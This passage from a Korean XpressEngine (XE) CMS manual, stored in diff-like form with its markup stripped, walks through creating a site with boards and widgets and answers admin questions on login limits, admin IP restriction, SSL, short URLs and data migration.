    +
    +

    쉬운 설치 사용

    +

    예를 들어, 쉬운 설치로 Textyle 모듈을 설치하는 방법은 다음과 같습니다.

    +
      +
    1. 관리자 메뉴의 '고급 > 쉬운 설치'를 클릭합니다.
    2. +
    3. Textyle 모듈을 찾아서 모듈 설명 오른쪽에 있는 설치를 클릭합니다. 설치가 완료되면 오른쪽에 있는 설치 버튼이 사라집니다. +
      쉬운 설치
      +
    4. +
    +
    +
    +
    +
    +

    사이트 만들기

    +
    +

    일반 사이트 만들기

    +

    이 절에서는 3개의 게시판과 각 게시판과 링크된 메뉴, 게시판의 최신 글을 메인 페이지에 출력하는 간단한 일반 사이트를 만들어 보겠습니다.

    +

    이 절에서 만들 사이트의 완성된 모습은 다음과 같습니다.

    +
    일반 사이트 완성 +
    일반 사이트 완성 화면
    +
    +
    +

    사이트 제목 바꾸기

    +

    '설정 > 일반 > 기본 > 사이트 제목' 항목을 작성 또는 변경합니다. '생성된 레이아웃'에서 사이트 제목을 설정하지 않았을 때 이 제목이 노출됩니다.

    +
    +
    +

    사이트 메뉴 편집

    +

    홈 만들기

    +

    사이트의 시작 페이지로 사용될 '홈'을 만듭니다.

    +
      +
    1. '사이트 제작/편집' > '사이트 메뉴 편집' 메뉴로 이동합니다.
    2. +
    3. XE를 설치하면 자동으로 만들어지는 welcome_menu를 그대로 활용하도록 하겠습니다. welcome_menu를 클릭하면 나오는 메뉴에서 '메뉴 추가'를 클릭합니다.
    4. +
    5. '메뉴 추가'의 서브 메뉴에서 '위젯 페이지'를 클릭합니다.
    6. +
    7. 위젯 페이지 대화상자에서 '메뉴이름'은 '홈'이라고 적고, '메뉴 ID'는 'home'이라고 적습니다. ('메뉴 ID'를 입력하지 않게 되면 임의의 값으로 자동 생성 됩니다.) +
      '홈' 메뉴 추가
      +
    8. +
    +

    기본페이지 지정

    +

    사이트에 접속 시 처음 보여질 메뉴로 지정합니다.

    +
      +
    1. '사이트맵'에서 '홈' 메뉴를 클릭하면 나오는 메뉴 가운데 '사이트 접속 시 기본 페이지로 사용'을 클릭합니다.
    2. +
      시작 페이지 변경
      +
    3. 기존에 기본페이지로 사용되었던 'menu1' 메뉴를 삭제 합니다.
    4. +
      'menu1' 메뉴 삭제
      +
    5. 메뉴를 삭제할 때 나오는 checkbox에 check한 후 '확인' 버튼을 눌러 삭제합니다.
    6. +
      메뉴 삭제 확인
      +
    +

    게시판 만들기

    +

    3개의 게시판 중 '공지사항'을 먼저 만듭니다.

    +
      +
    1. '사이트맵'의 'welcome_menu'를 클릭하여 나오는 메뉴에서 '메뉴 추가'를 클릭합니다.
    2. +
    3. '메뉴 추가'에 '게시판'타입의 메뉴가 없기 때문에 하단에 있는 '다른 메뉴타입 설치'를 클릭합니다.
    4. +
      다른 메뉴타입 설치
      +
      참고 +

      '다른 메뉴타입 설치'를 하기 위해서는 ftp 설정이 필요합니다. ftp 설정은 "FTP 설정"을 참고하시기 바랍니다.

      +
      +
    5. '다른 메뉴타입 설치'에서 'board'로 검색을 하면 나오는 '게시판'의 우측 설치 아이콘을 클릭합니다. +
      board 설치
      +
    6. +
    7. FTP 비밀번호를 묻는 창이 뜨는 경우에는 비밀번호를 입력하고 '확인' 버튼을 누릅니다. +
      ftp 비밀번호 입력
      +
    8. +
    9. 설치가 진행되는 동안 기다립니다. 설치가 완료 되기 전에 다른 곳으로 이동하거나 페이지를 새로고침하시면 안됩니다. +
      설치 진행 중
      +
    10. +
    11. 설치가 완료되면 다시 '사이트맵'의 'welcome_menu > 메뉴 추가 > 게시판'을 클릭한 후 아래와 같이 입력합니다. 입력 후 '확인' 버튼을 눌르면 공지사항이 생성됩니다. +
      공지사항 추가
      +
    12. +
    13. 공지사항과 마찬가지로 '자유게시판'과 '등업게시판'을 생성합니다. '자유게시판'의 '메뉴 ID'는 'freeboard01'로 , '등업게시판'의 '메뉴 ID'는 'levelup01'로 입력합니다.
    14. +
    +
    +
    +

    사이트 디자인 설정

    +

    사이트에 사용할 메뉴들을 모두 생성하였으면, 전체적인 디자인을 설정해야 합니다. 먼저 레이아웃 설정을 합니다.

    +
      +
    1. 관리자 화면에서 '사이트 제작/편집 > 사이트 디자인 설정 > 레이아웃'을 클릭합니다.
    2. +
    3. 레이아웃 목록에서 'Bootstrap.Layout'을 선택합니다.
    4. +
    5. 선택 후 'PC 설정 저장' 버튼을 눌러 내용을 저장합니다. +
      레이아웃 설정
      +
    6. +
    7. 이곳에서 선택한 레이아웃은 위에서 생성한 '홈', '공지사항', '자유게시판', '등업게시판' 모두에 적용 됩니다. 단 각 메뉴별로 별도의 레이아웃을 적용할 수도 있습니다. 각 메뉴별 별도 레이아웃을 적용하고자 하는 경우에는 '사이트맵 > 디자인 > 레이아웃' 에서 '사이트 기본 레이아웃 사용'을 체크 해제한 후 원하는 레이아웃을 선택하면 됩니다.
    8. +
    +
    +
    +

    페이지 수정

    +

    이 절에서는 각 게시판에 최신 글을 볼 수 있도록 홈페이지를 수정해 보겠습니다.

    +
      +
    1. XE가 설치된 도메인 주소를 브라우져 창에 입력하고 들어갑니다. (ex: http://example.com/) 또는 관리자 페이지 상단 로고 우측에 있는 도메인을 클릭해도 됩니다.
    2. +
    3. 아래와 같은 페이지가 표시되면 화면 오른쪽에 있는 '페이지 수정...'을 클릭합니다. +
      페이지 수정버튼
      +
      참고 +

      페이지에 관리자 권한으로 접근하면 페이지의 콘텐츠를 편집하거나 설정할 수 있는 '캐시파일 재생성', '설정', '페이지 수정'이 표시됩니다. 이 버튼들이 보이지 않는다면 관리자 아이디로 로그인했는지 확인하시기 바랍니다.

      +
      +

      각 게시판의 최신 글을 페이지에 출력하려면 콘텐츠를 출력할 수 있는 위젯이 필요합니다. 우선, 자유게시판 내용을 나타내기 위한 위젯을 생성합니다.

      +
    4. +
    5. 다음과 같이 페이지 수정 화면이 나타나면 Content 위젯을 선택하고 추가를 클릭합니다. +
      Content 위젯 선택
      +
    6. +
    7. 위젯 코드 생성 창이 나타나면 다음과 같이 필요한 항목을 입력하고 코드생성을 클릭합니다. +
      +
      위젯:
      +
      Content 위젯 ver 0.1
      +
      스킨:
      +
      Content 위젯 기본 스킨(default)
      +
      캐시:
      +
      5분
      +
      추출대상:
      +
      변경하지 않음
      +
      내용형태:
      +
      이미지+제목+내용
      +
      탭형태:
      +
      없음
      +
      표시항목 및 순서:
      +
      제목, 등록일, 글쓴이, 내용
      +
      게시판 이름 표시:
      +
      출력하지 않음
      +
      댓글수 표시:
      +
      출력
      +
      엮인글수 표시:
      +
      출력
      +
      분류 표시:
      +
      출력
      +
      아이콘 표시:
      +
      출력
      +
      정렬 대상:
      +
      최신 등록순
      +
      정렬 방법:
      +
      내림차순
      +
      썸네일 생성 방법:
      +
      Crop(채우기)
      +
      이미지 가로 크기:
      +
      100
      +
      이미지 세로 크기:
      +
      75
      +
      가로 이미지수:
      +
      5
      +
      목록수:
      +
      5
      +
      페이지수:
      +
      1
      +
      new 표시 시간 (hours):
      +
      12
      +
      제목 글자수:
      +
      0
      +
      내용 글자수:
      +
      100
      +
      대상 모듈:
      +
      추가를 클릭하고 모듈 선택 팝업에서 모듈에 게시판으로 검색하여 자유게시판을 선택
      +
      HTML 출력방식:
      +
      Table
      +
      +

      위젯이 생성되면 다음 그림과 같은 화면을 확인할 수 있습니다.

      +
      위젯 생성된 화면
      +
      참고 +

      게시판에 작성된 글이 없는 경우 위젯에 내용이 나타나지 않습니다. 위젯의 내용을 확인하기 위해서는 각 게시판에 테스트를 위한 게시물을 미리 작성해 두어야 합니다.

      +
      +

      위젯 윗부분에 위젯과 연동되어 있는 게시판 이름과 게시판으로 이동할 수 있는 링크를 삽입하기 위해 위젯 스타일을 적용해 보겠습니다.

      +
    8. +
    9. 추가된 위젯 영역 위로 마우스 커서를 움직여서 위젯 영역 왼쪽 윗부분에 표시되는 아이콘 메뉴 중 위젯 스타일 추가(위젯 스타일 추가 버튼)를 클릭합니다.
    10. +
    11. 위젯 스타일 팝업 창이 나타나면 적용할 위젯 스타일로 심플 스트롱을 선택하고 설정을 클릭합니다.
    12. +
    13. 위젯 스타일을 설정하는 화면이 나타나면 다음과 같이 설정합니다. +
      +
      컬러셋:
      +
      하얀색
      +
      제목:
      +
      자유게시판
      +
      더보기 URL:
      +
      해당 게시판의 URL을 입력합니다. 자유게시판의 모듈 이름은 freeboard01이므로, http://xe설치경로/freeboard01을 입력합니다.
      +
      더보기 텍스트:
      +
      위젯과 연동된 게시판으로 이동하기 위한 링크의 텍스트입니다. 이 예제에서는 more로 지정합니다.
      +
      +
    14. +
    15. 자유게시판 위젯에 위젯 스타일이 다음과 같이 적용되었는지 확인합니다. +
      위젯 스타일 적용 화면
      +
    16. +
    17. 나머지 두 게시판과 연동되는 위젯을 생성하고 위젯 스타일을 적용합니다. +

      공지사항 코드를 생성할 때 아래의 설정 정보 외에 다른 내용은 모두 자유게시판 위젯을 생성할 때 입력한 내용과 동일하므로, 자유게시판 위젯 생성 과정을 참고하여 진행합니다.

      +
      +
      내용형태:
      +
      제목
      +
      표시항목 및 순서:
      +
      제목, 등록일, 글쓴이
      +
      대상 모듈:
      +
      추가를 클릭하고 모듈 선택 팝업에서 모듈에 공지사항을 선택
      +
      +

      등업게시판 코드를 생성할 때도 아래의 설정 정보 외에 다른 내용은 모두 자유게시판 위젯을 생성할 때 입력한 내용과 동일합니다.

      +
      +
      내용형태:
      +
      제목
      +
      표시항목 및 순서:
      +
      제목, 등록일, 글쓴이
      +
      대상 모듈:
      +
      추가를 클릭하고 모듈 선택 팝업에서 모듈에 등업게시판을 선택
      +
      +
    18. +
    19. 다음과 같이 3가지 위젯이 모두 추가되었는지 확인합니다. 단, 게시판에 게시된 글에 따라 위젯의 내용은 다를 수 있습니다. +
      추가된 위젯 확인
      +

      위젯 생성이 완료되었으면 이를 재배치합니다. 자유게시판 위젯은 그대로 두고 그 아래에 공지사항과 등업게시판 위젯을 가로로 나란히 배치하겠습니다.

      +
    20. +
    21. 등업게시판 위젯 영역 위로 마우스 커서를 움직여 위젯 영역 왼쪽 위에 나타나는 아이콘 메뉴 중 화살표(화살표 아이콘)를 클릭합니다.
    22. +
    23. 다음과 같은 위젯 설정 화면이 나타나면 등업게시판 위젯 왼쪽에 공지사항 위젯을 나란히 둘 공간을 만들기 위해 위젯 정렬 속성을 오른쪽으로 변경하고 저장을 클릭합니다. +
      위젯 설정 화면
      +
    24. +
    25. 등업게시판 위젯의 왼쪽 아래에 있는 크기 변경 핸들(크기 변경 핸들)을 마우스로 끌어서 오른쪽으로 이동시켜 위젯의 가로 크기를 반 정도로 줄입니다. +
      줄어든 위젯
      +
    26. +
    27. 공지사항 위젯의 오른쪽 아래에 있는 크기 변경 핸들(크기 변경 핸들)을 왼쪽으로 끌어서 가로 크기를 줄입니다. 공지사항 위젯의 가로 폭이 등업게시판 왼쪽의 빈 공간보다 작아지면 등업게시판 위젯과 나란히 정렬됩니다
    28. +
    29. 다음과 같이 정렬이 완료되면 오른쪽 아래에 있는 메뉴의 저장을 클릭합니다. +
      홈페이지 저장
      +
    30. +
    +
    +
    +
    +

    시작 메뉴 설정

    +

    설정한 메뉴들 중에 하나의 메뉴를 접속 시 기본페이지로 사용할 수 있습니다. XE 최초 설치시에는 자동으로 'welcome_menu' 메뉴의 'menu1이 '접속 시 기본페이지'로 지정되어 있습니다.

    +

    접속 시 기본 페이지는 아래와 같이 변경할 수 있습니다.

    +
      +
    1. '사이트 제작/편집' > '사이트 메뉴 편집'으로 이동합니다.
    2. +
    3. 원하는 메뉴를 클릭하면 나오는 서브메뉴에서 '사이트 접속 시 기본 페이지로 사용'을 클릭합니다. +
      시작 페이지 변경
      +
    4. +
    5. XE 최초 설치시 기본페이지로 지정되어 있던 'menu1'이 '홈'으로 변경된 것을 확인할 수 있습니다.
    6. +
    +
    +
    +

    아이디 또는 이메일 로그인 설정

    +

    회원이 사이트에 로그인 할 때 '이메일+비밀번호' 또는 '아이디+비밀번호' 형식으로 로그인 하는것을 관리자가 선택할 수 있습니다.

    +
      +
    1. '회원 > 회원 설정 > 회원가입 > 가입 폼 관리' 항목으로 이동합니다. +
      + 가입 폼 관리 +
      회원 > 회원 설정 > 회원가입 > 가입 폼 관리
      +
      +
    2. +
    3. '아이디' 또는 '이메일 주소' 가운데 회원이 로그인 할 때 사용할 항목을 선택합니다.
    4. +
    5. '아이디'를 선택하면 사용자 로그인 화면에 '아이디' 입력 인풋이 표시됩니다. +
      + 아이디 입력 인풋 +
      '아이디' 입력 인풋
      +
      +
    6. +
    7. '이메일 주소'를 선택하면 사용자 로그인 화면에 '이메일 주소' 입력 인풋이 표시됩니다. +
      + 이메일 주소 입력 인풋 +
      '이메일 주소' 입력 인풋
      +
      +
    8. +
    +
    +
    +
    +

    FAQ

    +
    +

    회원설정 가입폼 관리

    +

    회원 가입폼을 커스터마이징 해서 사용할 수 있습니다. 원하는 폼 형식을 사용해서 회원 가입폼을 만들기 위해서는 다음과 같이 설정하면 됩니다.

    +
      +
    1. '회원 > 회원설정 > 회원가입 > 가입 폼 관리'로 이동합니다. 아래와 같은 모습을 볼 수 있습니다. +
      + 가입 폼 관리 +
      '가입 폼 관리' 설정 화면
      +
      +
    2. +
    3. '사용' 컬럼에 있는 체크박스를 이용해서 회원 가입시 노출시키고 싶은 대상을 선택할 수 있습니다.
    4. +
    5. 최초 설정된 내용 이외의 것을 회원 가입 시 받고 싶다면 '사용자 정의 항목 추가'를 클릭해서 새로운 form을 추가할 수 있습니다. +
      + 회원 정의 입력 +
      '회원 정의 입력' 화면
      +
      +
    6. +
    7. 입력항목 ID는 프로그램에서 사용하는 값으로 영문, 숫자로 입력하면 됩니다. 화면에 표시 될 항목 이름은 '입력항목 제목'란에 입력하면 됩니다. 해당 form을 필수로 입력받길 원한다면 '필수/선택'란에서 '필수' 라디오에 체크를 합니다.
    8. +
    9. 입력 형식은 매우 다양한 형태를 지원합니다. 원하는 형식을 선택하면 됩니다. +
      + 입력 형식 +
      다양한 form 형식 지원
      +
      +
    10. +
    +
    +
    +

    계정 무한 대입 방지

    +

    악의적인 목적을 가지고 로그인을 시도하는 경우를 방지하고자 로그인 실패 횟수를 제한하는 장치입니다. '계정 무한 대입 방지'를 사용하고자 할 경우에는 다음과 같이 하면 됩니다.

    +
      +
    1. '회원 > 회원설정 > 로그인'으로 이동합니다. 아래와 같은 모습을 볼 수 있습니다. +
      + 로그인 설정 +
      로그인 설정
      +
      +
    2. +
    3. '계정 무한 대입 방지 사용'에 '예'를 선택합니다.
    4. +
    5. '로그인 시도 횟수 제한 횟수'에 몇번의 로그인 시도를 허용할지 원하는 숫자를 입력합니다.
    6. +
    7. '로그인 시도 횟수 제한 시간'에는 제한 횟수를 넘겼을 경우 로그인을 허용하지 않을 시간을 입력합니다.
    8. +
    9. 위에서 설정한 휫수 이상 로그인이 실패할 경우 아래와 같이 표시 됩니다. +
      + 로그인 제한 초과 +
      로그인 제한 초과
      +
      +
    10. +
    +
    +
    +

    관리그룹, 관리자

    +

    관리그룹과 관리자와의 이름이 유사하여 혼동이 생길 수 있습니다. 관리그룹과 관리자의 차이는 아래와 같습니다.

    +
      +
    • 관리그룹: '회원 > 회원 그룹'에 기본적으로 생성되는 그룹으로서 실질적 관리권한이 있는 것이 아닙니다. 각 모듈 별 '권한 관리'에서 관리권한을 '관리그룹'에게 줄 경우 해당 그룹에 속해있는 회원에게 권한이 부여됩니다.
    • +
    • 관리자: XE를 최초 설치할 때 입력한 정보의 회원을 말하는 것입니다. 사이트의 모든 실절적 권한은 '관리자'에게 있습니다.
    • +
    +
    +
    +

    '임시' 문서

    +

    '콘텐츠 > 문서 > 임시'에 보면 문서목록이 보입니다. 여기에 보이게 되는 문서는 회원들이 글을 작성하는 도중 '임시 저장' 버튼을 눌러 저장한 문서입니다.

    +

    임시 저장한 문서는 다른 회원들에게 보여지지 않습니다.

    +

    임시 저장한 문서는 추후 글쓰기 화면에서 '불러오기'를 통해 다시 불러 쓸 수 있습니다.

    +

    임시 저장과 비슷한 개념으로 '자동 저장'이 있습니다. 자동 저장은 임시저장과는 달리 글쓴이가 직접 저장하는 행동을 취하지 않아도 저장되며, 글쓰기를 시작할 때 자동저장 된 글이 있으면 자동저장된 글을 불러올 것인지 물어보게 됩니다.

    +
    +
    +

    파일 목록의 '유효', '대기'

    +

    '콘텐츠 > 파일'에 보면 파일의 상태가 '유효'와 '대기'로 나누어 집니다. 각 상태는 아래와 같습니다.

    +
      +
    • 유효: 문서를 작성하면서 파일을 등록한 후 문서 작성을 완료한 상태
    • +
    • 대기: 문서를 작성하면서 파일을 등록하였지만 아직 문서 작성을 완료하지 않은 상태 또는 작성을 취소한 상태에서 남아있는 파일
    • +
    +
    +
    +

    다국어

    +

    XE는 하나의 사이트에서 여러 언어로 된 콘텐츠를 제공할 수 있도록 다국어를 지원합니다.

    +

    또한 관리자가 정의한 다국어를 등록한 다음 등록된 다국어를 사이트에서 사용할 수도 있습니다. 관리자 정의 다국어는 아래와 같은 방법으로 사용합니다.

    +
      +
    1. '콘텐츠 > 다국어'로 이동합니다.
    2. +
    3. '추가'탭에서 원하는 다국어를 입력한 후 '저장' 버튼을 눌러 저장합니다. +
      + 다국어 추가 +
      다국어 추가
      +
      +
    4. +
    5. 이미 추가 된 다국어는 '검색' 탭에서 검색할 수 있습니다. +
      + 다국어 검색 +
      다국어 검색
      +
      +
    6. +
    7. 추가된 다국어는 XE의 곳곳에서 사용 가능합니다. 하나의 예로 위에서 추가한 '한국어'란 다국어를 다음과 같이 활용할 수 있습니다. +
        +
      1. '사이트 제작/편집 > 사이트 메뉴 편집'으로 이동합니다.
      2. +
      3. 특정 메뉴를 선택 후 '메뉴 수정'을 클릭합니다.
      4. +
      5. 메뉴 수정 화면에서 '메뉴 이름' 옆에 나오는 지구본 모양 아이콘을 클릭합니다. +
        + 메뉴 이름 수정 +
        메뉴 이름 수정
        +
        +
      6. +
      7. 다국어 추가, 검색 대화창이 열립니다. 여기서 '검색' 탭을 클릭하고 바로 전에 입력한 '한국어'를 클릭합니다. 다국어가 많을 경우에는 검색을 활용합니다. 검색 입력 폼 앞의 select 옵션을 선택하면 각 언어별로 검색할 수 있습니다. '한국어'가 다국어로 어떻게 쓰일지 보여지고 확인을 하였다면 우측 하단의 '사용' 버튼을 누릅니다. +
        + 다국어 사용 +
        다국어 사용
        +
        +
      8. +
      9. 아래와 같이 적용 된 것을 볼 수 있습니다. 적용된 다국어를 사용하고 싶지 않을 경우에는 X 버튼을 눌러 적용 해제할 수 있습니다. +
        + 다국어 적용된 모습 +
        다국어 적용된 모습
        +
        +
      10. +
      11. 위와 같이 설정을 마치고 나면 해당 메뉴는 한국어와 영어 모두 지원 됩니다. 한국어로 설정하면 '한국어'라는 메뉴가, 영어로 설정하면 'English'라는 메뉴가 노출되게 됩니다.
      12. +
      +
    8. +
    +
    +
    +

    관리자 접속 아이피 대역 관리

    +

    관리자의 아이디와 비밀번호만 알게 되면 관리자로 어느 곳에서나 로그인이 가능합니다. 따라서 관리자 아이디로 접속할 수 있는 아이피 대역을 제한해 두면 보안에 유리합니다.

    +

    관리자의 아이디로 접속할 수 있는 아이피 대역을 설정하기 위해서는 다음과 같이 하면 됩니다.

    +
      +
    1. '설정 > 일반'을 접속합니다.
    2. +
    3. '고급'의 '관리자 IP대역'에 원하는 IP를 입력합니다. +
      + 관리자 IP 대역 입력 +
      관리자 IP 대역 입력
      +
      +
    4. +
    5. ip를 직접 수정하고 싶으신 분은 'XE설치폴더/files/db.config.php'의 "$db_info->admin_ip_list = '127.0.0.1,127.0.0.2';" 부분을 수정해 주면 됩니다.
    6. +
    7. 관리자 아이디로 로그인 하였지만 ip 제한에 걸린 경우에는 다음과 같은 모습을 보게 됩니다. +
      + 관리자 접속 제한 +
      관리자 접속 제한
      +
      +
    8. +
    +
    +
    +

    SSL 접속

    +

    일반 접속은 사용자와 서버간에 전송되는 내용이 암호화되지 않아 중요한 정보가 악의적인 사용자에 의해 탈취당할 수 있습니다. 이를 방지하기 위해 SSL 접속을 사용할 수 있습니다.

    +

    XE에서는 SSL 접속을 '선택적'으로 또는 '항상' 사용할 수 있습니다.

    +

    선택적으로 사용할 경우에는 '회원가입', '정보 수정' 등에서만 SSL 접속을 유지합니다.

    +

    관련 설정은 '설정 > 일반 > 고급 > SSL(Secure Sockets Layer) 사용'에서 선택할 수 있습니다.

    +
    참고 +

    서버에 SSL이 설치되어 있지 않은 경우에는 접속 기능이 동작하지 않습니다. 먼저 SSL이 설치되어 있는지 확인 후 사용하시기 바랍니다.

    +
    +
    +
    +

    짧은 주소

    +

    짧은 주소는 복잡하고 어려운 XE의 주소를 간단하게 사용할 수 있도록 줄여주는 기능입니다. 짧은 주소를 사용하게 되면 아래와 같은 이점이 있습니다.

    +
      +
    • 짧은 주소: http://xemanual.com/freeboard/123
    • +
    • 원래 주소: http://xemanual.com/index.php?mid=freeboard&document_srl=123
    • +
    +

    짧은 주소를 사용하길 원할 경우에는 '설정 > 일반 > 고급 > 짧은 주소 사용'에 '예'를 선택한 후 '저장'하면 됩니다.

    +
    +
    +

    데이터 들여오기

    +

    제로보드4, zb5beta 또는 다른 프로그램의 데이터를 XE 데이터로 이전할 수 있습니다. 데이터의 추출은 공식사이트의 자료실에서 다운로드 받으시거나 svn을 통해 xe-migration project를 export 받으시면 됩니다.

    +

    XE의 '게시물 정보'를 다른 XE사이트 게시물로 이전하는 작업을 예로 들어 설명해 드리도록 하겠습니다.

    +
      +
    1. 공식사이트의 자료실에서 "XpressEngine 데이터 추출 Ver 0.3"을 다운로드 받거나 xe-migration project에서 소스를 export 받습니다.
    2. +
    3. 다운로드 받은 소스를 URL로 접근 가능한 곳에 압축을 풉니다. 이 예제에서는 XE의 URL이 http://example.com/xe/라면 http://example.com/migration/ 아래로 하겠습니다.
    4. +
    5. 브라우져로 http://example.com/migration/index.php으로 접근하면 아래와 같은 모습을 볼 수 있습니다. +
      + XE data export 초기화면 +
      XE data export 초기화면
      +
      +
    6. +
    7. 2번에서 이야기한 url에 근거해 '설치 경로 입력'란에 "../xe" 라고 입력합니다. 절대 경로로 입력해도 됩니다. 사용자에 따라 입력 경로가 달라질 수 있습니다.
    8. +
    9. 설치 경로 입력 후 '설치 경로 입력' 버튼을 누르면 아래와 같은 모습을 볼 수 있습니다. +
      + 추출 대상 선택 +
      추출 대상 선택
      +
      +
    10. +
    11. 이 예제에서는 게시물 정보를 이전할 예정이니 '게시판'을 선택 후 '자유게시판'을 선택합니다. 선택 후 '추출 대상 선택' 버튼을 누릅니다.
    12. +
    13. 아래와 같은 결과가 나옵니다. +
      + 추출 옵션 선택 및 다운로드 +
      추출 옵션 선택 및 다운로드
      +
      +
    14. +
    15. 분할 수는 추출하는 데이터를 몇개의 파일로 나누어서 받을 지 결정하는 것입니다. 여기서는 게시물의 수가 많지 않으므로 1개로 받도록 하겠습니다.
    16. +
    17. 첨부파일을 포함하고 싶지 않을 경우에는 '첨부파일 미포함'에 체크를 합니다.
    18. +
    19. 데이터 들여오기 시 실제 xml 파일을 서버에 올려놓아 사용하거나 URL을 복사해서 사용할 수 있습니다. 여기서는 실제 xml 파일을 다운로드 받아 사용하도록 하겠습니다.
    20. +
    21. 옵션을 모두 결정했다면 파일명(module_57395.000001.xml)을 눌러 다운로드를 받습니다.
    22. +
    23. 다운로드 받은 파일을 xe가 설치된 위치에 업로드 합니다.
    24. +
    25. 관리자의 '콘텐츠 > 데이터 들여오기'로 들어갑니다.
    26. +
    27. '게시물 정보'의 xml 파일 입력 폼에 파일 명을 아래와 같이 입력한 후 '경로 확인' 버튼을 누릅니다. +
      + 경로 확인 +
      경로 확인
      +
      +
      참고 +

      실제 파일이 아니라 export에서 복사한 url을 입력해도 됩니다.

      ex) http://example.com/migration/export.php?filename=module_57395.000001.xml&path=..%2Fmaserati&target_module=module&module_id=57395&start=0&limit_count=1232&exclude_attach=

      +
      +
    28. +
    29. 'XML 파일을 찾았습니다.'란 메시지가 뜨면서 추가 입력상자가 보이게 됩니다. 'XML 파일을 찾을 수 없습니다.'라는 메시지가 보이게 되면 경로가 잘못 입력한 것이니 경로를 위치가 맞는지 확인해 보아야 합니다.
    30. +
    31. '찾기' 버튼을 통해 어떤 메뉴로 데이터를 이전할 것인지 선택합니다.
    32. +
    33. 회원 아이디 기반으로 회원정보를 동기화 시키고 싶다면 '회원정보 동기화' 체크박스에 체크합니다.
    34. +
    35. 필요한 내용을 모두 입력하였으면, '데이터 들여오기' 버튼을 클릭합니다. 아래와 같이 '데이터 이전중입니다'라는 프로그레스바가 보이면서 데이터가 이전 됩니다. +
      + 데이터 이전 중 +
      데이터 이전 중
      +
      +
      참고 +

      데이터 이전에는 오랜 시간이 걸릴 수 있으므로, 게시물의 수가 많을 경우에는 분할하여 이전하시고 프로그레스바가 표시 중일때는 브라우져를 새로고침하지 말고 기다려 주시기 바랍니다.

      +
      +
    36. +
    37. 데이터 이전이 완료되면 아래와 같이 메시지가 나타납니다. +
      + 데이터 이전 완료 +
      데이터 이전 완료
      +
      +
    38. +
    +
    +
    +

    관리자 메뉴 초기화

    +

    관리자 메뉴는 "설정 > 관리자 설정"에서 추가, 삭제할 수 있습니다. 추가, 삭제후 최초의 관리자 메뉴로 되돌리고 싶을 경우 '관리자 메뉴 초기화'를 할 수 있습니다. 관리자 메뉴 초기화를 하게 되면 XE 최초 설치시 설정 된 관리자 메뉴로 복원 됩니다.

    +
    +
    +

    캐시파일 재생성

    +

    + XE는 최적의 성능을 내기 위해 각종 캐시 파일을 사용합니다. 하지만 캐시 파일이 최신 내용의 적용되지 않음으로 인해 문제가 발생할 수 있습니다. 이럴 경우에는 관리자 하단에 있는 '캐시파일 재생성'을 통해 캐시파일을 새롭게 만들어 줄 수 있습니다. +

    참고 +

    XE의 모든 기능에 캐시 기능이 들어 있는 것이 아니며, 캐시파일 재생성 역시 모든 기능에서 지원하는 것이 아닙니다. 따라서 캐시파일 재생성을 지원하는 기능에 한해 동작하게 됩니다.

    +
    +

    +
    +
    +

    세션 정리

    +

    오랜기간 사이트를 운영하다 보면 사용자의 정보 등을 담고 있는 세션들 중 일부 데이터가 가비지(찌꺼기) 데이터가 되는 경우가 있습니다. 이로 인해 사이트 자체가 느려지게 될 수 있습니다. 이럴 경우 '세션 정리'를 하게 되면 사이트의 속도 향상에 도움이 됩니다. 세션 정리의 경우 사이트에 부하가 발생할 수 있으므로 접속자가 적은 시간 또는 사이트의 운영을 중지한 상태로 진행하시기 바랍니다.

    +
    +
    +

    문서 페이지

    +

    '회사 소개'와 같이 거의 갱신할 필요가 없는 정적인 문서입니다. 관리자는 '글, 이미지, 멀티미디어' 등을 문서 페이지에 직접 작성하거나 수정할 수 있습니다. 만약 프로그램에 의해 동적으로 갱신되는 콘텐츠를 문서에 삽입하고 싶다면 '문서 페이지' 대신 '위젯 페이지'를 사용하세요.

    +
    +
    +

    위젯 페이지

    +

    '초기 화면'과 같이 수시로 갱신할 필요가 있는 동적인 문서입니다. '문서 페이지'와 같이 정적인 내용을 추가할 수도 있지만 각종 '위젯'을 삽입하면 동적인 내용을 출력할 수 있습니다. 위젯 페이지에 '콘텐츠 위젯'을 삽입함으로써 초기 화면에 최근 게시물을 표시할 수 있습니다.

    +
    +
    +

    외부 페이지

    +

    '사이트 제작/편집 > 사이트 메뉴 편집'에서 메뉴 추가 시 '외부 페이지' 타입이 있습니다. 여기서 말하는 '외부 페이지'란 XE의 모듈을 이용하지 않고 별도로 개발자가 작성한 페이지를 말합니다.
    외부 페이지는 3rd party 개발자가 작성한 프로그램 소스가 들어가 있을 수 있으며, 아니면 순수 html로만 만들어진 경우도 있습니다.

    +

    외부 페이지에서도 XE의 모듈 개발시 사용되는 기본적인 라이브러리 사용이 가능합니다. +

    참고 +

    메뉴 추가의 '바로가기' 타입에서 URL링크를 통해 추가할 수 있는 것과는 다른 개념입니다.

    +
    +

    +
    +
    +

    바로가기

    +

    '사이트 제작/편집 > 사이트 메뉴 편집'에서 메뉴 추가 시 '바로가기'가 있습니다. 여기서 말하는 '바로가기'란 이미 만들어져 있는 메뉴 또는 외부 링크를 연결하는 메뉴입니다. 윈도우의 바로가기와 비슷한 메뉴라고 보면 됩니다.

    +

    윈도우의 '바로가기' 삭제 시 원본이 삭제 되지 않는 것처럼, XE에서도 바로가기 메뉴 삭제시 원본 메뉴에는 영향을 미치치 않습니다.

    +
    +
    +

    메뉴 노출 대상

    +

    '사이트 제작/편집 > 사이트 메뉴 편집 > 권한'에 '메뉴 노출 대상'이 있습니다. '메뉴 노출 대상'은 다른 권한과는 달리 접근 자체를 제한하는 기능은 없습니다. 다만 메뉴를 보여주고 싶지 않은 대상일 경우 노출을 제한할 수 있습니다.

    +

    + 예를 들어 아래와 같이 노출 대상은 '로그인 사용자', 접근 권한은 '모든 사용자'로 설정을 하게 될 경우, 로그인을 안한 사용자에게 메뉴는 보이지 않지만 접근 URL을 알고 있다면 해당 메뉴에 접근할 수 있습니다. +

    + 권한 설정 +
    권한 설정
    +
    +

    +
    +
    +
    +

    부록

    +
    +

    Windows 환경 설정

    +

    Windows 환경에서 XE를 설치하는 방법에는 크게 두 가지가 있습니다. WPI를 사용하는 방법과 APMsetup을 사용하는 방법입니다. 두 가지 방법 모두 웹 서버인 IIS(Internet Information Server)를 설치할 때 포트 번호로 80을 사용하도록 설정하기 때문에, 한 컴퓨터에 두 가지 방법을 모두 사용할 수 없습니다. 사용자의 설치 환경에 따라 두 가지 방법 중 하나를 선택해서 사용합니다.

    +
    참고 +

    Windows XP에서 WPI를 사용하여 XE를 설치하면 URL을 기억하기 쉽게 줄여주는 mod_rewrite를 사용할 수 없습니다. mod_rewrite를 사용하려면 APMsetup을 사용해서 XE를 설치해야 합니다.

    +

